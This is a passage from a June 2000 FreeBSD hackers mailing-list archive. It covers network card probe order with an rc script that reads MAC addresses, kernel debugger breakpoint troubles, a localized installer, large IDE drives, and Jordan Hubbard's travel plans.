+39-050-568.533/522 . via Diotisalvi 2, 56126 PISA (Italy) Mobile +39-347-0373137 -----------------------------------+------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 15:38:55 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from email-serv1.custserv.com (fw-serv3.customersvc.com [208.135.116.130]) by hub.freebsd.org (Postfix) with ESMTP id A996137BAE6; Thu, 1 Jun 2000 15:38:46 -0700 (PDT) (envelope-from luigi@info.iet.unipi.it) X-Internal-ID: 3936A4A5000020A4 Received: from custserv.com (208.135.116.12) by email-serv1.custserv.com (NPlex 2.0.119); Thu, 1 Jun 2000 18:35:30 -0400 Message-ID: Date: Thu, 1 Jun 2000 18:37:32 +0200 (CEST) From: luigi@info.iet.unipi.it To: fred@veriohosting.com Cc: freebsd-hackers@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: changed pci bus probe order from 3.2 to 4.0 -- ideas? Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ... > The problem is that the cards get swapped. ... > It's a long story as to why switching cables, or changing which card gets > which IP address isn't really a good solution. The short answer is that i suppose the only place where you use the actual card names is the firewall config and rc.conf -- can't you just make these scripts fetch the ethernet address of the card(s), set a shell variable with the name of the good card, and go ahead with that ? I did something similar in picobsd to make the same floppy recognise the hardware on different systems. Something like (in /etc/rc): n_ether="" for main_if in `ifconfig -l` ; do set `ifconfig $main_if` while [ "$1" != "" ] ; do if [ $1 = "ether" ] ; then main_ether=$2 break 2 else shift fi done done At which point $main_ether contains the ethernet address of your first ethernet interface and you can base decisions on that... cheers luigi -----------------------------------+------------------------------------- Luigi RIZZO, luigi@iet.unipi.it . Dip. di Ing. dell'Informazione http://www.iet.unipi.it/~luigi/ . Universita` di Pisa TEL/FAX: +39-050-568.533/522 . via Diotisalvi 2, 56126 PISA (Italy) Mobile +39-347-0373137 -----------------------------------+------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 18:12:30 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from trauco.colomsat.net.co (trauco.colomsat.net.co [200.13.195.2]) by hub.freebsd.org (Postfix) with ESMTP id 8EB4337BAAA for ; Thu, 1 Jun 2000 18:12:24 -0700 (PDT) (envelope-from ycardena@yahoo.com) Received: from yahoo.com (200.13.212.88) by trauco.colomsat.net.co (NPlex 4.0.068) id 39344A7600012698 for hackers@FreeBSD.ORG; Thu, 1 Jun 2000 20:08:54 -0500 Message-ID: <39370B10.972EF865@yahoo.com> Date: Thu, 01 Jun 2000 20:17:04 -0500 From: ycardena@yahoo.com X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: hackers@FreeBSD.ORG Subject: TCP/IP protocol S/W Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello In the paper "Experience With TCP/IP Networking Protocol S/W over Embedded OS for Network Appliance" in computer society IEEE, it says: The environment for the development of embedded OS and TCP/IP protocol S/W. Embedded OS and TCP/IP module are implemented by gnu c compiler, gcc-2.6.1, under the FreeBSD OS. I apologize, What is it or what signify the term "TCP/IP protocol S/W" ? Thanks. +------------------------------------------------------------------+ | YONNY CARDENAS B. ycardena@yahoo.com | +------------------------------------------------------------------+ UNIX is BSD, and FreeBSD is an advanced 4.4BSD To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 19: 1:47 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id B2EC437B5D4 for ; Thu, 1 Jun 2000 19:01:42 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from localhost (jkh@localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id TAA07746; Thu, 1 Jun 2000 19:00:08 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: hosokawa@itc.keio.ac.jp (HOSOKAWA Tatsumi) Cc: junker@jazz.snu.ac.kr, foxfair@news.ks.edu.tw, freebsd-hackers@FreeBSD.ORG Subject: Re: Multilingual Installer for 3.2-RELEASE (Re: pccard boot.flp...) In-reply-to: Your message of "Tue, 08 Jun 1999 01:00:44 +0900." <199906071600.BAA09552@afs.ntc.mita.keio.ac.jp> Date: Thu, 01 Jun 2000 19:00:08 -0700 Message-ID: <7743.959911208@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Just following up on this - are there any plans to merge this work back into the mainstream so that we can generate "localized" installation floppies for the Japanese community in future releases? Thanks! (Yes, I'm really catching up on email over a year old today). - Jordan > In <199906060553.OAA24289@afs.ntc.mita.keio.ac.jp> I wrote, > > >> Thank you. Now I'm working on updated sysinstall messages. > >> I'll send the URL of message.lt_EN, *.TXT, *.hlp files to translate > >> when I finished this work. > >> I want translators to other languages. > > I finished updating indices of messages, and complied the first public > test version. > > Currently, following binary package is compiled with English, Japanese > and Korean support. As a result of increased size of boot.flp, > Japanese and Korean support is now merged again into the same boot.flp > image. > > http://wing-yee.ntc.keio.ac.jp/hosokawa/32flp/floppies-19990608.tar.gz > (Compiled boot.flp, kern.flp, and mfsroot.flp binaries) > > http://wing-yee.ntc.keio.ac.jp/hosokawa/32flp/release-19990608.tar.gz > (Patched source tree of /usr/src/release) > > http://wing-yee.ntc.keio.ac.jp/hosokawa/32flp/translation-kit-19990608.tar.gz > (All you have to translate is this tarball) > > Current Translation Status: > ------------------------------------------------------------------- > Japanese Korean > ------------------------------------------------------------------- > sysinstall messages: almost okay NG > help files: NG almost okay > ------------------------------------------------------------------- > > -- > HOSOKAWA, Tatsumi > Assistant Manager > Information Technology Center, Keio University > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 19:10:29 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id BDD6E37B5E2 for ; Thu, 1 Jun 2000 19:10:27 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from localhost (jkh@localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id TAA07819 for ; Thu, 1 Jun 2000 19:10:22 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: hackers@freebsd.org Subject: I will be in Japan and Korea from June 7th through June 15th Date: Thu, 01 Jun 2000 19:10:22 -0700 Message-ID: <7816.959911822@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'll be in Japan (Tokyo/Nagoya/Osaka areas) from the 7th through the 12th and will be speaking at the Networld + INTEROP 2000 FreeBSD BOF on 6/8 as well as the Japan Unix Society meeting in Nagoya on 6/9. Anyone in these area is welcome to attend or simply join us afterwards for dinner or something; see http://www.jp.freebsd.org for scheduling details or contact event@jp.freebsd.org. From 6/12 though 6/15 I'll be in Seoul, Korea for the Free Software conference there (on the 14th) but have no firm plans for the other days yet. I would like to get together with some of the kr.freebsd.org people if they're available, however, and would be pleased if someone from that group could contact either myself or Lydia Bennett to arrange something. Thanks! - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 19:20:15 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from wantadilla.lemis.com (wantadilla.lemis.com [192.109.197.80]) by hub.freebsd.org (Postfix) with ESMTP id 158C037B784 for ; Thu, 1 Jun 2000 19:20:08 -0700 (PDT) (envelope-from grog@wantadilla.lemis.com) Received: (from grog@localhost) by wantadilla.lemis.com (8.9.3/8.9.3) id LAA24114; Fri, 2 Jun 2000 11:49:59 +0930 (CST) (envelope-from grog) Date: Fri, 2 Jun 2000 11:49:59 +0930 From: Greg Lehey To: "Jordan K. Hubbard" Cc: hackers@FreeBSD.ORG Subject: Re: I will be in Japan and Korea from June 7th through June 15th Message-ID: <20000602114959.S22978@wantadilla.lemis.com> References: <7816.959911822@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <7816.959911822@localhost> Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thursday, 1 June 2000 at 19:10:22 -0700, Jordan K. Hubbard wrote: > I'll be in Japan (Tokyo/Nagoya/Osaka areas) from the 7th through the > 12th and will be speaking at the Networld + INTEROP 2000 FreeBSD BOF > on 6/8 as well as the Japan Unix Society meeting in Nagoya on 6/9. > Anyone in these area is welcome to attend or simply join us afterwards > for dinner or something; see http://www.jp.freebsd.org for scheduling > details or contact event@jp.freebsd.org. > >> From 6/12 though 6/15 I'll be in Seoul, Korea for the Free Software > conference there (on the 14th) but have no firm plans for the other > days yet. I would like to get together with some of the > kr.freebsd.org people if they're available, however, and would be > pleased if someone from that group could contact either myself or > Lydia Bennett to arrange something. Does this mean we won't get the SMP stuff done next week? Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 19:21:46 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id E1B0837BE8A for ; Thu, 1 Jun 2000 19:21:43 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from localhost (jkh@localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id TAA07948; Thu, 1 Jun 2000 19:21:29 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: Greg Lehey Cc: hackers@FreeBSD.ORG Subject: Re: I will be in Japan and Korea from June 7th through June 15th In-reply-to: Your message of "Fri, 02 Jun 2000 11:49:59 +0930." <20000602114959.S22978@wantadilla.lemis.com> Date: Thu, 01 Jun 2000 19:21:29 -0700 Message-ID: <7945.959912489@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Does this mean we won't get the SMP stuff done next week? I'm back on the 15th (you gain 10 hours coming back) and the SMP meeting isn't until the 16th and 17th. Of course it will. :) - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 19:22:37 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from wantadilla.lemis.com (wantadilla.lemis.com [192.109.197.80]) by hub.freebsd.org (Postfix) with ESMTP id E0CD237BF51 for ; Thu, 1 Jun 2000 19:22:30 -0700 (PDT) (envelope-from grog@wantadilla.lemis.com) Received: (from grog@localhost) by wantadilla.lemis.com (8.9.3/8.9.3) id LAA24142; Fri, 2 Jun 2000 11:52:19 +0930 (CST) (envelope-from grog) Date: Fri, 2 Jun 2000 11:52:19 +0930 From: Greg Lehey To: "Jordan K. Hubbard" Cc: hackers@FreeBSD.ORG Subject: Re: I will be in Japan and Korea from June 7th through June 15th Message-ID: <20000602115219.T22978@wantadilla.lemis.com> References: <20000602114959.S22978@wantadilla.lemis.com> <7945.959912489@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <7945.959912489@localhost> Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thursday, 1 June 2000 at 19:21:29 -0700, Jordan K. Hubbard wrote: >> Does this mean we won't get the SMP stuff done next week? > > I'm back on the 15th (you gain 10 hours coming back) and the SMP > meeting isn't until the 16th and 17th. Of course it will. :) Ah, I didn't see that message. Did you send one? Can you resend it? Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 19:55:24 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 6C9EC37B604 for ; Thu, 1 Jun 2000 19:55:14 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id UAA52529; Thu, 1 Jun 2000 20:55:10 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id UAA32747; Thu, 1 Jun 2000 20:54:43 -0600 (MDT) Message-Id: <200006020254.UAA32747@harmony.village.org> To: "Jordan K. Hubbard" Subject: Re: I will be in Japan and Korea from June 7th through June 15th Cc: hackers@FreeBSD.ORG In-reply-to: Your message of "Thu, 01 Jun 2000 19:10:22 PDT." <7816.959911822@localhost> References: <7816.959911822@localhost> Date: Thu, 01 Jun 2000 20:54:43 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <7816.959911822@localhost> "Jordan K. Hubbard" writes: : I'll be in Japan (Tokyo/Nagoya/Osaka areas) from the 7th through the : 12th and will be speaking at the Networld + INTEROP 2000 FreeBSD BOF : on 6/8 as well as the Japan Unix Society meeting in Nagoya on 6/9. : Anyone in these area is welcome to attend or simply join us afterwards : for dinner or something; see http://www.jp.freebsd.org for scheduling : details or contact event@jp.freebsd.org. I'll be there too. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 20:20:45 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 9E86937B54A for ; Thu, 1 Jun 2000 20:20:41 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id VAA52628 for ; Thu, 1 Jun 2000 21:20:39 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id VAA33065 for ; Thu, 1 Jun 2000 21:20:12 -0600 (MDT) Message-Id: <200006020320.VAA33065@harmony.village.org> Subject: Re: I will be in Japan and Korea from June 7th through June 15th To: hackers@FreeBSD.ORG In-reply-to: Your message of "Thu, 01 Jun 2000 20:54:43 MDT." <200006020254.UAA32747@harmony.village.org> References: <200006020254.UAA32747@harmony.village.org> <7816.959911822@localhost> Date: Thu, 01 Jun 2000 21:20:12 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <7816.959911822@localhost> "Jordan K. Hubbard" writes: : I'll be in Japan (Tokyo/Nagoya/Osaka areas) from the 7th through the : 12th and will be speaking at the Networld + INTEROP 2000 FreeBSD BOF : on 6/8 as well as the Japan Unix Society meeting in Nagoya on 6/9. : Anyone in these area is welcome to attend or simply join us afterwards : for dinner or something; see http://www.jp.freebsd.org for scheduling : details or contact event@jp.freebsd.org. I'll also be at these meetings speaking as well. A news flash with more details is in the works. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 21:19:10 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [207.154.226.10]) by hub.freebsd.org (Postfix) with ESMTP id 9203137B8B2 for ; Thu, 1 Jun 2000 21:19:05 -0700 (PDT) (envelope-from paul@elvis.mu.org) Received: by elvis.mu.org (Postfix, from userid 1000) id 73C3E2B250; Thu, 1 Jun 2000 23:18:57 -0500 (CDT) Date: Thu, 1 Jun 2000 21:18:57 -0700 From: Paul Saab To: "Jordan K. Hubbard" Cc: hackers@freebsd.org Subject: Re: I will be in Japan and Korea from June 7th through June 15th Message-ID: <20000601211857.A39632@elvis.mu.org> References: <20000602114959.S22978@wantadilla.lemis.com> <7945.959912489@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <7945.959912489@localhost>; from jkh@zippy.cdrom.com on Thu, Jun 01, 2000 at 07:21:29PM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Jordan K. Hubbard (jkh@zippy.cdrom.com) wrote: > > Does this mean we won't get the SMP stuff done next week? > > I'm back on the 15th (you gain 10 hours coming back) and the SMP > meeting isn't until the 16th and 17th. Of course it will. :) You mean 15th & 16th right? :) -- Paul Saab Technical Yahoo paul@mu.org - ps@yahoo-inc.com - ps@freebsd.org Do You .. uhh .. Yahoo!? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 22:34:46 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from sasi.com (sasi.com [164.164.56.2]) by hub.freebsd.org (Postfix) with ESMTP id DABDD37B8A3 for ; Thu, 1 Jun 2000 22:34:39 -0700 (PDT) (envelope-from gbnaidu@sasi.com) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id LAA19034 for ; Fri, 2 Jun 2000 11:02:26 +0530 (IST) Received: from pcd75.sasi.com ([10.0.16.75]) by sasi.com; Fri, 02 Jun 2000 11:02:25 +0000 (IST) Received: from localhost (gbnaidu@localhost) by pcd75.sasi.com (8.9.3/8.9.3) with ESMTP id LAA01802; Fri, 2 Jun 2000 11:02:07 +0530 Date: Fri, 2 Jun 2000 11:02:07 +0530 (IST) From: "G.B.Naidu" To: Doug White Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: DDB is not setting break points... (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi Doug, Thanks for your reply. We tried as per your mail. But still the DDB is complaining the same saying that "symbol not found". What could be the reason? Am I missing something in the whole process? thanks --gb On Thu, 1 Jun 2000, Doug White wrote: > On Thu, 1 Jun 2000, G.B.Naidu wrote: > > > Have posted this questoin earlier. I have got no replies. Some body take > > some time to clarify this? > > cd /sys/boot > make depend all install > disklabel -B ad0 > reboot > > This will update your bootblocks. > > > In the handbook chap 21, Note says: Note that if you have an older version > > of boot blocks. your debugger symbols might not be loaded at all. Update > > the bopot blocks; > > Doug White | FreeBSD: The Power to Serve > dwhite@resnet.uoregon.edu | www.FreeBSD.org > -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 23: 9: 8 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from gidora.zeta.org.au (gidora.zeta.org.au [203.26.10.25]) by hub.freebsd.org (Postfix) with SMTP id 7999837B7FD for ; Thu, 1 Jun 2000 23:09:01 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: (qmail 19769 invoked from network); 2 Jun 2000 06:08:55 -0000 Received: from unknown (HELO bde.zeta.org.au) (203.2.228.102) by gidora.zeta.org.au with SMTP; 2 Jun 2000 06:08:55 -0000 Date: Fri, 2 Jun 2000 16:08:57 +1000 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: "G.B.Naidu" Cc: freebsd-hackers@FreeBSD.ORG, freebsd-net@FreeBSD.ORG Subject: Re: DDB is not setting break points... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 1 Jun 2000, G.B.Naidu wrote: > I am having problems with DDB while setting breakpoints in the kernel. I > entered the DDB by giving kernel -d at boot prompt. After that I tried to > set break point at ip_output() by giving "b ip_output". But it complains > saying that "sumbol not found". I thought this might be due to stripped Early setting of breakpoints by name was broken by the switch to elf in FreeBSD-3.0 (symbols aren't available until the kernel module sysinit runs much later). I think it works for aout kernels in 3.x but not in 4.0 or -current. Use gdb or set breakpoints early by value in broken versions. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 1 23:47:52 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from security.za.net (security.za.net [209.212.100.194]) by hub.freebsd.org (Postfix) with ESMTP id CAA9137BAE8 for ; Thu, 1 Jun 2000 23:47:46 -0700 (PDT) (envelope-from lists@security.za.net) Received: from localhost (lists@localhost) by security.za.net (8.9.3/8.9.3) with ESMTP id IAA00542 for ; Fri, 2 Jun 2000 08:52:46 +0200 (SAST) (envelope-from lists@security.za.net) Date: Fri, 2 Jun 2000 08:52:46 +0200 (SAST) From: To: hackers@freebsd.org Subject: 40gig IDE drives? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Anyone know how to get a 40gig IDE drive working under FreeBSD? It picks it up as having 79000 odd sectors and says that the geometary is wrong, and it doesnt work. Any advice would be appreciated Thanks Andrew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 0: 2:28 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail-04-real.cdsnet.net (mail-04-real.cdsnet.net [204.118.244.94]) by hub.freebsd.org (Postfix) with SMTP id C594337B520 for ; Fri, 2 Jun 2000 00:02:23 -0700 (PDT) (envelope-from mrcpu@internetcds.com) Received: (qmail 94833 invoked from network); 2 Jun 2000 07:02:22 -0000 Received: from schizo.cdsnet.net (204.118.244.32) by mail-04-real.cdsnet.net with SMTP; 2 Jun 2000 07:02:22 -0000 Date: Thu, 1 Jun 2000 23:56:44 -0700 (PDT) From: Jaye Mathisen X-Sender: mrcpu@schizo.cdsnet.net To: lists@security.za.net Cc: hackers@FreeBSD.ORG Subject: Re: 40gig IDE drives? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have 2 maxtor 40GB's running off a Promise FastTrak 66 under 4.0-stable, and it's working fine, except for one teensy problem. vinum (striping them), apparently overwrote whatever the promise uses to track them as part of a stripe set... So on reboot, I have to hit an F2 configure, because the promise thinks the array is unconfigured... using a normal Promise card EIDE controller would've been fine... On Fri, 2 Jun 2000 lists@security.za.net wrote: > Anyone know how to get a 40gig IDE drive working under FreeBSD? It picks > it up as having 79000 odd sectors and says that the geometary is wrong, > and it doesnt work. > > Any advice would be appreciated > > Thanks > > Andrew > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 0:38: 2 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from finch-post-12.mail.demon.net (finch-post-12.mail.demon.net [194.217.242.41]) by hub.freebsd.org (Postfix) with ESMTP id 8ECCA37B5BB for ; Fri, 2 Jun 2000 00:37:59 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from nlsys.demon.co.uk ([158.152.125.33] helo=herring.nlsystems.com) by finch-post-12.mail.demon.net with esmtp (Exim 2.12 #1) id 12xm1m-000Jf3-0C; Fri, 2 Jun 2000 07:37:58 +0000 Received: from salmon.nlsystems.com (salmon.nlsystems.com [10.0.0.3]) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id IAA28206; Fri, 2 Jun 2000 08:38:40 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Fri, 2 Jun 2000 08:43:08 +0100 (BST) From: Doug Rabson To: "Jordan K. Hubbard" Cc: Greg Lehey , hackers@freebsd.org Subject: Re: I will be in Japan and Korea from June 7th through June 15th In-Reply-To: <7945.959912489@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 1 Jun 2000, Jordan K. Hubbard wrote: > > Does this mean we won't get the SMP stuff done next week? > > I'm back on the 15th (you gain 10 hours coming back) and the SMP > meeting isn't until the 16th and 17th. Of course it will. :) So you are running this right before Usenix? Thats annoying - I've already booked a flight to San Diego on the 17th. Meeting *at* Usenix would be good though. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 20 8442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 0:39:47 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from sasi.com (sasi.com [164.164.56.2]) by hub.freebsd.org (Postfix) with ESMTP id 99D5A37B88D; Fri, 2 Jun 2000 00:39:37 -0700 (PDT) (envelope-from gbnaidu@sasi.com) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id NAA25444; Fri, 2 Jun 2000 13:07:24 +0530 (IST) Received: from pcd75.sasi.com ([10.0.16.75]) by sasi.com; Fri, 02 Jun 2000 13:07:23 +0000 (IST) Received: from localhost (gbnaidu@localhost) by pcd75.sasi.com (8.9.3/8.9.3) with ESMTP id NAA01866; Fri, 2 Jun 2000 13:07:15 +0530 Date: Fri, 2 Jun 2000 13:07:14 +0530 (IST) From: "G.B.Naidu" To: Bruce Evans Cc: freebsd-hackers@FreeBSD.ORG, freebsd-net@FreeBSD.ORG Subject: Re: DDB is not setting break points... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, Thanks Bruse for the reply. I am running 3.3-Release of FreeBSD. And my kernel is elf kernel. So according to Bruce, I cannot set the breakpoints from DDB until sysinit() finishes. So what is the safe point from where I can set break points from DDB? I want to use DDB because I want to debug online. thanks for the help. --gb On Fri, 2 Jun 2000, Bruce Evans wrote: > On Thu, 1 Jun 2000, G.B.Naidu wrote: > > > I am having problems with DDB while setting breakpoints in the kernel. I > > entered the DDB by giving kernel -d at boot prompt. After that I tried to > > set break point at ip_output() by giving "b ip_output". But it complains > > saying that "sumbol not found". I thought this might be due to stripped > > Early setting of breakpoints by name was broken by the switch to elf in > FreeBSD-3.0 (symbols aren't available until the kernel module sysinit runs > much later). I think it works for aout kernels in 3.x but not in 4.0 or > -current. Use gdb or set breakpoints early by value in broken versions. > > Bruce > -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 0:46:23 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from wantadilla.lemis.com (wantadilla.lemis.com [192.109.197.80]) by hub.freebsd.org (Postfix) with ESMTP id C761037B74E for ; Fri, 2 Jun 2000 00:46:13 -0700 (PDT) (envelope-from grog@wantadilla.lemis.com) Received: (from grog@localhost) by wantadilla.lemis.com (8.9.3/8.9.3) id RAA26251; Fri, 2 Jun 2000 17:15:50 +0930 (CST) (envelope-from grog) Date: Fri, 2 Jun 2000 17:15:50 +0930 From: Greg Lehey To: lists@security.za.net Cc: hackers@FreeBSD.ORG Subject: Re: 40gig IDE drives? Message-ID: <20000602171550.O22978@wantadilla.lemis.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Friday, 2 June 2000 at 8:52:46 +0200, lists@security.za.net 